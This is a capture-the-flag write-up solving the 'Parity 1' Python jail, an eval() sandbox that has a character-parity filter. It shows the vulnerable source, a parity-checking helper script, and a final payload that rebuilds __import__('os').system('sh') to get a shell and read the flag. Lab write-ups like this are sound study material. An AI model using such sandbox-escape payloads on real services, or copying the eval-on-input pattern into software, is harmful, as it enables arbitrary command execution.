PYJAILCTF - Parity 1
During this challenge, we were given a netcat to connect the source code and the docker :
The netcat :
nc challs2.pyjail.club 7991
Docker image :
FROM python@sha256:4d440b214e447deddc0a94de23a3d97d28dfafdf125a8b4bb8073381510c9ee2 AS app
FROM pwn.red/jail
COPY --from=app / /srv
COPY --chmod=755 main.py /srv/app/run
COPY --chmod=444 flag.txt /srv/app/flag.txt
ENV JAIL_MEM=27M JAIL_ENV_NUM=5 JAIL_TIME=30 JAIL_CONNS_PER_IP=2
The source code (python) :
#!/usr/local/bin/python3
inp = input("> ")
for i, v in enumerate(inp):
if not (ord(v) < 128 and i % 2 == ord(v) % 2):
print('bad')
exit()
eval(inp)
So, what’s there ?
A regular input for a string
inp = input("> ")
a for loop which iterates for every char in the input :
for i, v in enumerate(inp):
The line that we are interested. This line check if the char code is under 128, which means a printable ascii char, and check if one char out of two is even
if not (ord(v) < 128 and i % 2 == ord(v) % 2):
test time !!
Of course, I tried some basic pyjail stuff like :
"open('flag.txt').read()"
or :
''.join([chr(int(octet, 8)) for octet in "157 160 145 156 50 47 146 154 141 147 56 164 170 164 47 51 56 162 145 141 144 50 51".split()])
or :
(eval)("__import__('os').system('sh')")
but nothing happened except an error ^^ (parity thing).
The first payload didn’t work because the parity was not respected at all, let’s dive into ord()
:
'o'
(code ASCII111
- odd)'p'
(code ASCII112
- even)'e'
(code ASCII101
- odd)'n'
(code ASCII110
- even)'('
(code ASCII40
- even)'\''
(code ASCII39
- odd)'f'
(code ASCII102
- even)'l'
(code ASCII108
- even)'a'
(code ASCII97
- odd)'g'
(code ASCII103
- odd)'.'
(code ASCII46
- even)'t'
(code ASCII116
- even)'x'
(code ASCII120
- even)'t'
(code ASCII116
- even)')'
(code ASCII41
- odd)'.'
(code ASCII46
- even)'r'
(code ASCII114
- even)'e'
(code ASCII101
- odd)'a'
(code ASCII97
- odd)'d'
(code ASCII100
- even)'('
(code ASCII40
- even)')'
(code ASCII41
- odd)
When we type a built-in the nc returns nothing. Not an error, interessting. This is due to the eval, which eval a string and execute it.
nc challs2.pyjail.club 7991
> type
Behind the scenes, this is what happened :
eval('type')
Which ran type
, but not print it.
This is great because the parity thing did not proc because eval eval’d the type built-in. Very goood !
When we try to inject char with the good parity, it works !!
(eval)(' 1 +2' )
Let’s see :
- (eval) is evaluated into the first eval (from source code) and not integrated into the parity check
- the
(
and the last)
are not evaluated because eval is taking( )
to work '
is
I built a mini program in python based on the source code in order to check if the char is odd or even
#!/usr/local/bin/python3
def parity():
inp = input("> ")
for i, v in enumerate(inp):
if not (ord(v) < 128 and i % 2 == ord(v) % 2):
return "not doog"
return "good"
while True:
print(parity())
From running this python script, i started builing my payload, adding space, tabulation and playing with simple or double quote.
FYI :
- char even between simple quote with espace before and after
- char odd between double quote and that’s it no space before and after
- add a + sign between everything
- is odd
- space is even
- tab is odd
Here’s the final payload, which looks pretty sus :
(eval)( "_"+"_"+"i"+"m"+ 'p' +"o"+ 'r' + 't' +"_"+"_"+ '(' +"'"+"o"+"s"+"'"+")"+ '.' +"s"+"y"+"s"+ 't' +"e"+"m"+ '(' +"'"+"s"+ 'h' +"'"+")")
which is :
eval("__import__('os').system('sh')")
this gave me the final play :
nc challs2.pyjail.club 7991
> (eval)( "_"+"_"+"i"+"m"+ 'p' +"o"+ 'r' + 't' +"_"+"_"+ '(' +"'"+"o"+"s"+"'"+")"+ '.' +"s"+"y"+"s"+ 't' +"e"+"m"+ '(' +"'"+"s"+ 'h' +"'"+")")
ls
flag.txt
run
cat flag.txt
jail{parity_41f5812e8c0cd9}
pretty good challenge for a ‘begninner’. I have loved the payload construction and special thanks to Driikolu my homie who solved the challenge first !!